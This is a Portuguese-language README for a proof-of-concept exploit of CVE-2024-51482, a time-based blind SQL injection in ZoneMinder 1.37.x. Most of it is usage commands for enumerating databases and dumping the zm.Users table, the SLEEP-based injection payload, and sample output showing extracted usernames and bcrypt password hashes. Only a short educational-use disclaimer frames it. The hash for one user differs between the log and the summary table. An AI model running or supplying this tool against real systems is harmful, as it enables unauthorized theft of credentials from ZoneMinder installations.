
PoC de injeção SQL cega baseada em tempo autenticada para ZoneMinder CVE-2024-51482 (v1.37.* <= 1.37.64)
Exploit de injeção SQL cega baseada em tempo autenticado para ZoneMinder v1.37. <= 1.37.64*
Este é um exploit de prova de conceito para CVE-2024-51482, uma vulnerabilidade de injeção SQL cega baseada em tempo na funcionalidade de gerenciamento de eventos do ZoneMinder. O exploit requer autenticação e utiliza consultas SLEEP condicionais para extrair dados do banco de dados.
pip install requests
python3 poc.py -t example.local -u admin -p password
python3 poc.py -t example.local --cookie 'ZMSESSID_value'
python3 poc.py -t example.local -u admin -p password -v
python3 poc.py -t example.local -u admin -p password --dbs
python3 poc.py -t example.local -u admin -p password -D zm --tables
python3 poc.py -t example.local -u admin -p password -D zm -T Users --columns
python3 poc.py -t example.local -u admin -p password -D zm -T Users --dump
Obrigatório:
-t, --target TARGET URL alvo (IP, hostname ou URL completa)
Autenticação:
-u, --username USERNAME Nome de usuário para autenticação
-p, --password PASSWORD Senha para autenticação
--cookie COOKIE Cookie de sessão (ZMSESSID)
Enumeração:
--dbs Enumerar bases de dados
-D, --database DATABASE Base de dados a usar
--tables Enumerar tabelas
-T, --table TABLE Tabela a usar
--columns Enumerar colunas
--dump Extrair dados da tabela
Desempenho:
--delay DELAY Atraso em segundos (padrão: 3, seguro)
--threads THREADS Número de threads (padrão: 5, seguro)
-v, --verbose Mostrar progresso da extração
python3 poc.py -t example.local -u admin -p password --delay 3 --threads 5
python3 poc.py -t example.local -u admin -p password --delay 1 --threads 20
[*] Alvo: http://example.local
[*] Atraso: 3s | Threads: 5
[+] Autenticado como admin
[*] Testando vulnerabilidade...
[+] Alvo é VULNERÁVEL!
[*] Modo padrão: Extraindo credenciais de zm.Users...
[*] Extraindo dados de 'zm.Users'...
[+] Extraído: admin
[+] Extraído: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Extraído: john
[+] Extraído: $2y$10$prZGnazejKcaLq9bKNexXOglBSqOl1hq07LW7AJ/QNqZolbXKfFG.
====================================================================================
| Usuário | Senha |
====================================================================================
| admin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| john | $2y$10$prABlsrtyjkiWv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
====================================================================================
[+] 2 entradas extraídas
O exploit usa SLEEP condicional:
1 AND (SELECT 1 FROM (SELECT(SLEEP(3-(IF(condition,0,3)))))test)
Se obtiver caracteres errados (ex.: $ torna-se 8):
# Aumente o atraso e reduza as threads
python3 poc.py -t example.local -u admin -p password --delay 4 --threads 3
Se a extração estiver muito lenta:
# Diminua o atraso e aumente as threads (pode reduzir a precisão)
python3 poc.py -t example.local -u admin -p password --delay 2 --threads 10
Se o padrão zm.Users não existir:
# Enumere as bases de dados primeiro
python3 poc.py -t example.local -u admin -p password --dbs
# Depois enumere as tabelas
python3 poc.py -t example.local -u admin -p password -D database_name --tables
Esta ferramenta é exclusivamente para fins educacionais e de teste de segurança autorizado.
Este projeto é fornecido apenas para fins educacionais. Use de forma responsável e ética.
⭐ Se achar útil, por favor, dê uma estrela no repositório!